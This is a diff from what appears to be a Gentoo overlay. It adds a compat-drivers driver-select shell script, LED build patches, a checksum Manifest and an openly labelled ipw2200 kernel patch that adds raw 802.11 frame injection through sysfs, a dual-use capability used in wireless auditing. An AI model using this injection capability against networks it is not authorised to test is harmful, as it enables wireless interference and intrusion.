+	disable lib80211
+	disable var
+}
+
+function disable_var_02 {
+	check_phase 1
+	#var_01 with eeprom not disabled
+	disable lib80211
+	disable ssb
+	disable bcma
+	disable usbnet
+	disable update-initramfs
+}
+
+# This internal function disables "staging"
+function disable_staging {
+	check_phase 2
+	backup_file "$(get_makefile MAKEFILE)"
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_STAGING/ ' Makefile
+	sed -i '/CONFIG_COMPAT_STAGING/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# This internal function disables "update-initramfs"
+function disable_update-initramfs
+{
+	check_phase 2
+	backup_file "$(get_makefile MAKEFILE)"
+	# perl -i -ne 'print if ! /update-initramfs/' Makefile
+	sed -i '/update-initramfs/d' "$(get_makefile MAKEFILE)" || die
+}
+
+function enable_only_drm {
+	check_phase 1
+	# backup_file Makefile
+	disable ethernet
+	disable staging
+	disable usbnet
+	disable var_03
+	disable bt
+	# rfkill may be needed if you enable b44 as you may have b43
+	disable rfkill
+	disable 80211
+}
+
+# This internal function registers filters for the ath Makefile
+function select_ath_driver 
+{
+	check_phase 1
+	# backup_file $ATH_MAKEFILE
+	# perl -i -ne 'print if /'$1'/ || /CONFIG_ATH_/ || /ath-objs/ || /regd.o/ || /hw.o/ || /key.o/' $ATH_MAKEFILE
+	eval "CPD_ATH_MAKEFILE+=\" ${*} CONFIG_ATH_ ath-objs regd.o hw.o key.o\"" || die
+	disable var_01
+}
+
+# This internal function registers no-common filters for the ath Makefile
+function select_ath_no_common
+{
+	check_phase 1
+	# backup_file $ATH_MAKEFILE
+	# perl -i -ne 'print if /'$1'/' $ATH_MAKEFILE
+	eval "CPD_ATH_MAKEFILE+=\" ${*}\"" || die
+	disable var_01
+}
+
+function select_ath9k_driver
+{
+	check_phase 1
+	select_ath_driver CONFIG_ATH9K_HW
+	# In the future here we'll add stuff to disable ath9k_htc
+}
+
+function select_ath9k_driver_ap
+{
+	check_phase 1
+	select_ath9k_driver
+	# backup_file $COMPAT_CONFIG_CW
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_ATH9K_RATE_CONTROL/ ' $COMPAT_CONFIG_CW
+	# this does not work with multipe drivers, since it's the only filter to that file
+	# It is only applied when only the ath9k_ap driver is selected and nothing else
+	# eval "CPD_COMPAT_CONFIG_CW+=\" CONFIG_COMPAT_ATH9K_RATE_CONTROL\"" || die
+}
+
+# This internal function registers filters for the ti Makefile
+function select_ti_drivers
+{
+	check_phase 1
+	select_drivers CONFIG_WL_TI
+	# select_drivers_from_makefile $TI_MAKEFILE $@
+	eval "CPD_TI_MAKEFILE+=\" ${*}\"" || die
+}
+
+# This internal function registers filters for the brcm80211 Makefile
+function select_brcm80211_driver 
+{
+	check_phase 1
+	# backup_file $BRCM80211_MAKEFILE
+	# perl -i -ne 'print if /'$1'/ || /CONFIG_BRCMUTIL/ ' $BRCM80211_MAKEFILE
+	eval "CPD_BRCM80211_MAKEFILE+=\" ${*} CONFIG_BRCMUTIL\"" || die
+}
+
+function restore_file {
+	check_phase 3
+	local ORIG="${1%%.${BACKUP_EXT}}" || die
+	cp $1 $ORIG || die
+	rm -f $1 || die
+	echo -e "Restored makefile: ${CYAN}${ORIG}${NORMAL} (and removed backup)"
+}
+
+function restore_compat {
+	check_phase 3
+	local FILES=$(find ./ -type f -name *\."${BACKUP_EXT}") || die
+	local i
+	for i in $FILES; do
+		restore_file $i
+	done
+}
+
+if [ ! -f .compat_version ]; then
+	die "Must run $0 from the compat-drivers top level directory"
+fi
+
+# set phase to configure
+CPD_PHASE=1
+
+# loop over all arguments
+# This sets the configuration for each flag/module
+for arg in "$@"; do
+	# clear/set global vars
+	CPD_MODULE="$arg"
+	CPD_SELECTED_DRIVERS+=" $arg"
+	case "$arg" in
+		restore)
+			CPD_PHASE=3
+			restore_compat
+			exit 0
+			;;
+		usage)
+			usage
+			exit 0
+			;;
+		-q)
+			unset_colors || die
+			CPD_SELECTED_DRIVERS="${CPD_SELECTED_DRIVERS% -q}"
+			;;
+	# Group drivers
+		atheros)
+			select_drivers		CONFIG_ATH_CARDS \
+						CONFIG_COMPAT_ZD1211RW
+			disable staging
+			disable_bt_usb_ethernet_var
+			disable var_01
+			;;
+		ath)
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			disable var_01
+			;;
+		intel)
+			select_drivers		CONFIG_IWLWIFI \
+						CONFIG_IWLEGACY \
+						CONFIG_IPW
+			disable staging
+			disable var
+			disable bt
+			disable ethernet
+			disable usbnet
+			;;
+		iwlwifi)
+			select_drivers		CONFIG_IWLWIFI
+			disable staging
+			disable var_01
+			disable bt
+			disable ethernet
+			disable usbnet
+			;;
+		iwlegacy)
+			select_drivers		CONFIG_IWLEGACY
+			disable staging
+			disable var_01
+			disable bt
+			disable ethernet
+			disable usbnet
+			;;
+		rtl818x)
+			select_drivers		CONFIG_RTL8180 CONFIG_RTL8187
+			disable staging
+			disable bt_usb_ethernet
+			disable ssb
+			disable bcma
+			disable lib80211
+			;;
+		rtlwifi)
+			select_drivers		CONFIG_RTL8192CE CONFIG_RTLWIFI
+			disable staging
+			disable_bt_usb_ethernet_var
+			disable lib80211
+			;;
+		ti)
+			select_drivers		CONFIG_WL_TI
+			disable_bt_usb_ethernet_var
+			disable staging
+			disable var_01
+			;;
+		brcm80211)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_BRCMUTIL \
+						CONFIG_BRCMFMAC \
+						CONFIG_BRCMSMAC
+			;;
+	# Singular modules
+		ath5k)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_driver	CONFIG_ATH5K
+			#patch -p1 < enable-older-kernels/enable-2.6.23.patch
+			;;
+		ath9k)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath9k_driver
+			;;
+		ath9k_ap)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath9k_driver_ap
+			;;
+		carl9170)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_driver	CONFIG_CARL9170
+			;;
+		ath9k_htc)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath9k_driver
+			;;
+		ath6kl)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_driver	CONFIG_ATH6KL
+			;;
+		wil6210)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_ATH_CARDS
+			select_ath_no_common	CONFIG_WIL6210
+			;;
+		brcmsmac)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_BRCMSMAC
+			select_brcm80211_driver	CONFIG_BRCMSMAC CONFIG_BRCMUTIL
+			;;
+		brcmfmac)
+			disable staging
+			disable_bt_usb_ethernet_var
+			select_drivers		CONFIG_BRCMFMAC
+			select_brcm80211_driver	CONFIG_BRCMFMAC CONFIG_BRCMUTIL
+			;;
+		zd1211rw)
+			select_drivers		CONFIG_COMPAT_ZD1211RW
+			disable staging
+			disable var_01
+			;;
+		b43)
+			disable staging
+			disable bt_usb_ethernet
+			disable eeprom
+			disable lib80211
+			select_drivers		CONFIG_B43
+			;;
+		rt2x00)
+			select_drivers		CONFIG_RT2X00
+			disable staging
+			disable_bt_usb_ethernet
+			disable var_02
+			;;
+		wl1251)
+			select_ti_drivers	CONFIG_WL1251
+			disable staging
+			disable var_01
+			;;
+		wl12xx)
+			select_ti_drivers	CONFIG_WL12XX
+			disable staging
+			disable var_01
+			;;
+		wl18xx)
+			select_ti_drivers	CONFIG_WL18XX
+			disable staging
+			disable var_01
+			;;
+	# Ethernet and Bluetooth drivers
+		atl1)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL1) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL1) += atlx/\n"
+			;;
+		atl2)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL2) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL2) += atlx/\n"
+			;;
+		atl1e)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL1E) += atl1e/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL1E) += atl1e/\n"
+			;;
+		atl1c)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ATL1C) += atl1c/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ATL1C) += atl1c/\n"
+			;;
+		alx)
+			enable_only_ethernet
+			disable b44
+			# echo -e "obj-\$(CONFIG_ALX) += alx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			CPD_ADD_ATHEROS+="obj-\$(CONFIG_ALX) += alx/\n"
+			;;
+		atlxx)
+			select_drivers		CONFIG_ATL1 CONFIG_ATL2 CONFIG_ATL1E CONFIG_ALX
+			enable_only_ethernet
+			disable b44
+			disable update-initramfs
+			;;
+		bt)
+			select_drivers 		CONFIG_BT
+			disable var
+			disable ethernet
+			disable staging
+			disable 80211
+			;;
+		i915)
+			enable_only_drm
+			;;
+		drm)
+			enable_only_drm
+			;;
+		*)
+			./$0 usage
+			die "Unsupported driver: ${arg}"
+			exit 1
+			;;
+	esac
+done
+
+# special for ath9k_ap
+# this filter is only applied when no other driver is selected
+if [ "${CPD_SELECTED_DRIVERS}" == " ath9k_ap" ]; then
+	eval "CPD_COMPAT_CONFIG_CW+=\" CONFIG_COMPAT_ATH9K_RATE_CONTROL\"" \
+		|| die "Failed to apply special filter for ath9k_ap"
+fi
+
+if [[ ! -f built-in.o ]]; then
+	if [[ "$1" != "restore" ]]; then
+		echo -e "${PURPLE}Processing new driver-select request...${NORMAL}"
+	fi
+fi
+
+# This internal function checks if the first argument is contained in the rest
+# of the arguments
+function has {
+    local x=$1
+    shift
+    local y
+    for y in "$@"; do
+        [ "${y}" = "${x}" ] && return 0
+    done
+    return 1
+}
+
+# this internal function checks if both groups and single modules were selected
+# this is not supported
+function check_groups {
+	local mods=
+	local grps=
+	for CPD_MODULE in ${CPD_SELECTED_DRIVERS}; do
+		if has "${CPD_MODULE}" ${SUPPORTED_DRIVERS}; then
+			mods+=" ${CPD_MODULE}"
+		else
+			grps+=" ${CPD_MODULE}"
+		fi
+	done
+	[ ! "${mods}" == '' ] && [ ! "${grps}" == '' ] && \
+		die "Mixing group and single drivers is not supported by this script! Groups: <${grps}> Drivers: <${mods}>"
+}
+check_groups
+
+# set phase to write
+CPD_PHASE=2
+
+# Always backup the top level Makefile, unless restoring
+if [[ "$1" != "restore" ]]; then
+	backup_file Makefile
+fi
+
+# If a user selects a new driver make sure we clean up for them
+# first and also restore the backup makefiles then. Otherwise
+# we'll be trying to leave drivers on Makefiles which are not
+# already there from a previous run.
+if [ -f built-in.o ]; then
+	echo -e "${PURPLE}Old build found, going to clean this up first...${NORMAL}"
+	make clean
+	echo -e "${PURPLE}Restoring Makefiles...${NORMAL}"
+	./$0 restore
+fi
+
+# This function reads the configuration (disable-actions and filters) for each
+# single active flag, then constructs and applies the common configuration set.
+function src_configure {
+	local use_enabled_list="${CPD_SELECTED_DRIVERS}"
+	# compose common disable list for all flags
+	# 1st module/flag
+	local iuse1="$(echo $use_enabled_list | cut -d ' ' -f 1)" || die
+	eval "local disable_list=\$CPD_DISABLE_${iuse1}" || die
+	local iuse
+	local dis
+	for iuse in ${use_enabled_list}; do
+		if [ "${iuse}" != "${iuse1}" ]; then
+			local disable_list_new=''
+			eval "local disable_list_other=\$CPD_DISABLE_${iuse}" || die
+			for dis in ${disable_list}; do
+				has "${dis}" ${disable_list_other} && \
+					disable_list_new+=" ${dis}"
+			done
+			disable_list="${disable_list_new}"
+		fi
+	done
+	# sort and remove duplicates
+	disable_list=$(printf '%s\n' ${disable_list} | sort -u | tr '\n' ' ') || die
+
+	# prepend to atheros Makefile
+	if [ "${CPD_ADD_ATHEROS}" != '' ]; then
+		# ensure that backup file exists
+		backup_file "$(get_makefile DRIVERS_NET_ATHEROS)"
+		# prepend using backup
+		echo -e "${CPD_ADD_ATHEROS}"|cat - \
+			"$(get_makefile DRIVERS_NET_ATHEROS).${BACKUP_EXT}" > \
+			"$(get_makefile DRIVERS_NET_ATHEROS)" \
+			|| die "Failed to prepend to atheros Makefile"
+		echo -e "Prepended to atheros Makefile ...${NORMAL}"
+	fi
+	# execute all filters for the Makefiles
+	local file
+	for file in ${CPD_MAKEFILES}; do
+		eval "local filter_list=\$CPD_${file}" || die
+		if [ -n "${filter_list}" ]; then
+			# sort and remove duplicates
+			filter_list=$(printf '%s\n' ${filter_list} | sort -u | tr '\n' ' ')\
+				|| die
+			echo -e "Filtering ${CYAN}$(get_makefile ${file})${NORMAL} for: ${CYAN}${filter_list}${NORMAL}"
+			select_drivers_from_makefile "${file}" "${filter_list}" || die
+		fi
+	done
+	# execute common disable list
+	echo -e "Common disable list: ${CYAN}${disable_list}${NORMAL}"
+	for dis in ${disable_list}; do
+		echo -e "Running disable function: ${CYAN}disable_${dis}${NORMAL}"
+		eval "disable_${dis}" || die
+	done
+}
+
+# call src_configure ...
+src_configure || die "Failed on src_configure ..."
diff --git a/sys-kernel/compat-drivers-alx/files/ipw2200-inject.3.4.6.patch b/sys-kernel/compat-drivers-alx/files/ipw2200-inject.3.4.6.patch
new file mode 100644
index 00000000..941bbc50
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/ipw2200-inject.3.4.6.patch
@@ -0,0 +1,120 @@
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c	2010-12-08 22:22:41.937999976 +0800
+@@ -216,6 +216,7 @@
+ static int ipw_queue_tx_hcmd(struct ipw_priv *priv, int hcmd, void *buf,
+ 			     int len, int sync);
+ 
++static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, int pri);
+ static void ipw_tx_queue_free(struct ipw_priv *);
+ 
+ static struct ipw_rx_queue *ipw_rx_queue_alloc(struct ipw_priv *);
+@@ -1911,6 +1912,63 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ 		   show_net_stats, store_net_stats);
+ 
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++        struct device_attribute *attr,
++        const char *buf, size_t count)
++{
++        struct ipw_priv *priv = dev_get_drvdata(d);
++        struct libipw_device *ieee = priv->ieee;
++        struct libipw_txb *txb;
++        struct sk_buff *skb_frag;
++        unsigned char *newbuf;
++        unsigned long flags;
++
++        // should test (ieee->is_queue_full)
++
++        // Fw only accepts data, so avoid accidental fw errors.
++        if ( (buf[0]&0x0c) != '\x08') {
++              //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++              return count;
++        }
++
++        if (count>1500) {
++              count=1500;
++              printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++        }
++
++        spin_lock_irqsave(&priv->lock, flags);
++
++        // Create a txb with one skb
++        txb = kmalloc(sizeof(struct libipw_txb) + sizeof(u8 *), GFP_ATOMIC);
++        if (!txb)
++              goto nosepuede;
++        txb->nr_frags=1;
++        txb->frag_size = ieee->tx_headroom;
++        txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++        if (!txb->fragments[0]) {
++              kfree(txb);
++              goto nosepuede;
++        }
++        skb_reserve(txb->fragments[0], ieee->tx_headroom);
++        txb->encrypted=0;
++        txb->payload_size=count;
++        skb_frag = txb->fragments[0];
++        newbuf=skb_put(skb_frag, count);
++
++        // copy data into txb->skb and send it
++        memcpy(newbuf, buf, count);
++
++        ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++        spin_unlock_irqrestore(&priv->lock, flags);
++        return count;
++}
++
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static ssize_t show_channels(struct device *d,
+ 			     struct device_attribute *attr,
+ 			     char *buf)
+@@ -10214,7 +10272,6 @@
+ modify to send one tfd per fragment instead of using chunking.  otherwise
+ we need to heavily modify the libipw_skb_to_txb.
+ */
+-
+ static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb,
+ 			     int pri)
+ {
+@@ -10544,6 +10601,12 @@
+ 	mutex_lock(&priv->mutex);
+ 	priv->config |= CFG_CUSTOM_MAC;
+ 	memcpy(priv->mac_addr, addr->sa_data, ETH_ALEN);
++
++#ifdef CONFIG_IPW2200_PROMISCUOUS
++	if (rtap_iface)
++	 memcpy(priv->prom_net_dev->dev_addr, addr->sa_data, ETH_ALEN);
++#endif
++
+ 	printk(KERN_INFO "%s: Setting MAC to %pM\n",
+ 	       priv->net_dev->name, priv->mac_addr);
+ 	schedule_work(&priv->adapter_restart);
+@@ -11597,6 +11660,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
+ 	&dev_attr_rtap_iface.attr,
+ 	&dev_attr_rtap_filter.attr,
++	&dev_attr_inject.attr,
+ #endif
+ 	NULL
+ };
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h	2010-12-08 22:20:01.561000000 +0800
+@@ -2014,4 +2014,12 @@
+ 
+ #define IPW_MAX_CONFIG_RETRIES 10
+ 
++/*
++ * Hhack to get code compiling on new kernels, the define below
++ * seem to be removed from the linux headers.
++ */
++#ifndef MAC_ARG
++#define MAC_ARG(x) ((u8*)(x))[0],((u8*)(x))[1],((u8*)(x))[2],((u8*)(x))[3],((u8*)(x))[4],((u8*)(x))[5]
++#endif
++
+ #endif				/* __ipw2200_h__ */
diff --git a/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.6.6.patch b/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.6.6.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.6.6.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.7_rc1_p6.patch b/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.7_rc1_p6.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.7_rc1_p6.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.8.patch b/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.8.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.8.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/sys-kernel/compat-drivers/Manifest b/sys-kernel/compat-drivers/Manifest
new file mode 100644
index 00000000..bcd4268d
--- /dev/null
+++ b/sys-kernel/compat-drivers/Manifest
@@ -0,0 +1,33 @@
+AUX 3.8-grsec/00-read-only.patch 604 SHA256 1b4109d2cb389e622252738390bd56a665f968c428accd905e6debcdf9c4e679 SHA512 34bd0312909701251317dfbc2b2ebd080f8d5e3dff18e3e0c80a48dbd6697d2877fe7e8a0fa52151f76a97a05368ebb4091166e4432dcaa3ce63469c2b830441 WHIRLPOOL 590b93713ffc2e59ce04b1c7b3a34f502eec32b25f01c45f8adab91cc1621c701a38ed0136ac5d052fe93d9d5738c0facf969189721b332a058db118835908bf
+AUX 3.8-grsec/01-read-only.patch 271 SHA256 f389b6d40b0c5512af8b3c024c69aed69830ca22d53403f19be0a8834ee4573c SHA512 9d2f878aeb6ebe8c3d74aa038e3fec14829ac709c2f65b9c7fe6482dd1c15432cf73a40638059ccee9350d6305989b60883903fcd0c7545ec38c1d22e006c9c2 WHIRLPOOL 111a64490618524af32c56c9631d0ff7f29ae4ebc692422df63cf6eaae0a42c06d4be7186c3049b3f3827de9535e8c0b14f6c5fecf9d956dc1e92236a053e545
+AUX 3.8-grsec/02-read-only-ath.patch 8178 SHA256 2a779d9a72fdf6c26620733f2b7fd12e65cd50969e9689cf1cf48a26f6bbfad9 SHA512 288d359778430d9b84fb9c66afce8473142270646fea3dd53471b16b8b7a2ecf78c28d4dfdc27a914b2c7d2561cb5d2ac267e71f50ec315b2b984ad3b59dfec7 WHIRLPOOL 8e50052ad0dd875e086795fd787c1ab83c434ccb1c6bd2b0ff8eaef4392b9a26681a02a52c343a05fa655198d51d643ed4dd9cdd0f4f1415504219598d0fa95d
+AUX 3.8-grsec/03-read-only-memory.patch 251 SHA256 927886f135b9e122a51d607d99837eef047b9fa50a4f2dfea9ee4ce6076192b1 SHA512 9f1efc869370655ffba01463d71c72f7a7e3b677f455fb4893f1e9898dd2896008da1f87b66d2803542a80fc073fcb3d94abcbf626bf7240d3235293b13e1c35 WHIRLPOOL e5dbf45e9552824a3ebb3bd96e55ec77d559b5eed8aba383b907902b7115031c7fcbdf57b94d920cb66230eb492d151f957c09a883c255c83139ca63438b2848
+AUX 3.8-grsec/04-read-only-brcm80211.patch 337 SHA256 752991b5f486c0dea194be247e473e9d9d2626f3e392246d3d1da44d4864478f SHA512 494f37fc79dd1c11ab6c51d95a7521d8276f2c4d41dfcabb491c3a7d0b79ff9b2512feeef9d166da9e6297ebf2778a3f773cb52d72a325cf151f78b2e28cfb97 WHIRLPOOL 4f96dced0f32328769ddb74e74ffb6e003c68d8054331c635971658909009079ebb810839a857474dae3b5ce12e2c6d5641646462027dafad974791e0b9e5944
+AUX 3.8-grsec/05-read-only-i915.patch 473 SHA256 bfb3cdf6d8793ce328b16f6808c062d72863ea40be9f3cd942a831548e3bdb22 SHA512 2ef16324332c257e326d48fce34a65f095236f518990b6fff0aa3022893d40668acce156085bf77b669629a40696db9098bb8504614bf60d2720bf78364f9a33 WHIRLPOOL 23d44a4f3b2b0937e5b0769354a8a01ab7f4c19b0c38f85bcd2715a9fdf10b5755a1a54dfcb048dcd0badca7c99321ce91bf9c7cf23a7e3bcba54b28ac472612
+AUX 3.8-grsec/06-read-only-radeon.patch 1974 SHA256 7227c0ed3bdc8ce4c130b263a4ef3ed8b44db33a3961bb9ef9110a94dc8cf549 SHA512 c58cce6f8996ef3ac25d93c680db0f0ef3a555b9e9ad97a39d1e339135a7f449c039582d21d50fbe13cb0b9cd23c2a9fc1ff80143e4f681ebf3161377383f5dc WHIRLPOOL 9a6ab2740ca49b814c06dcd0a4533c1f33d4913470df7ac2884ed6f1a747b2c29b3899ad0b53190c832a307fea0cfb990e2068685b9205fd37a9d6ca3e4ae5a8
+AUX 3.8-grsec/07-read-only-wl1251.patch 296 SHA256 7d89a83529b7ae522a06c0a38959515b6de72fcc9412d9fa83ce744d803c438b SHA512 54fe4cc8b8f5088aa0b27fd0cf38d8795507ead26e7c8ad96b54e2d2b9d65ed6c76f29ee3359f7dee50883138511c34a4c2e2f22384aadc034f7dd46061b3307 WHIRLPOOL 4d4b53e6520c34284f6794b7afecdab36b2e5d97e12a9237e83c52fb23eee1facee829ed140e8d9b13e98e201e9e8a2cf2aa32853e9728504bd16cd3a01927e7
+AUX 3.8-grsec/08-read-only-ti.patch 327 SHA256 804cfe5f58fe4927933e64a45aa2c0b407675c22d8d80f75fe89904f7fa9a595 SHA512 387ffd8a7636d7055b65a3e2c2cb799bc514e270d24a44982da5c1bdae7160e96e7f829fc2de7323e2228f1cfd6e4517327d2c18b6df42f062a570aa5b5fcb21 WHIRLPOOL 546e75ed0970d82a6b343a82421c9368b1dc5410c4795f82cf3812845bd8d7c9f909b7955213144cd0727d62ea606af216c8dc552739bba818513ceded0ae339
+AUX 3.8-grsec/09-read-only-nouveau.patch 1039 SHA256 f797b74b8bdf86e5cd6f0c87ce1955c706f9ba82a8ee2e54f098bfc1d6952aac SHA512 27065f1c9e3fc427253ddd58fb6c11027f5cec9f356204cfa5635ae6d81d8e40b571c83ebc457600f4ce0c8d9e7401f1118523bdac6ca4e2c661dd843bb1e411 WHIRLPOOL 315756a38d0d99e696818b80adbf78ced2ca70c25a75fff3598de1f7716c036292b6cc0df9650b20d3f9981dda9d3f02ddb873033262f592869d817b665e8ba8
+AUX 3.8-grsec/20-version-disagrement-iwlwifi.patch 2832 SHA256 7f89d1c6c61735874a7c3efec1c51f7aaed05b7a59cb97e3e25e4929bbbcfc42 SHA512 2f156ba0626404234d77fe0309e8f9ef7bdaa67f2efd6c46fe3ebc7616b6b9ab27c9bb6fe0a57b97e63c3a1c31994731c569f9eb0489897e7120810325a1bd98 WHIRLPOOL e8aab7f6137b8660a6c8b78fa1900dfb600a2ca9ba14c3e1f5f75c8c24ed2d3aad5b5936c6f01a76d990871abafaab1e21d9e8522611fa2f57c79a45927bdaa6
+AUX 4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch 559 SHA256 2c9222e0c6aaafabac091766c7e0a71442f0e9521ec1c65fc7024fbca60a3354 SHA512 9bf0b852a4ffc66afc12fc60c3fc683d689a45ff5e18470db68f25f001e14fc09c813aa01fec2b4583af1c19141e748a10c7dfd6022d727cb8cf245f6c33a2ff WHIRLPOOL 2efd4c3f2d58a833be803df6034e01d3601cb1891921fe2031c50a241a3f5e8a9e8d54aa0b29566fcc6b2bac71d48e504a3f88585a1049884e0a5986724048a1
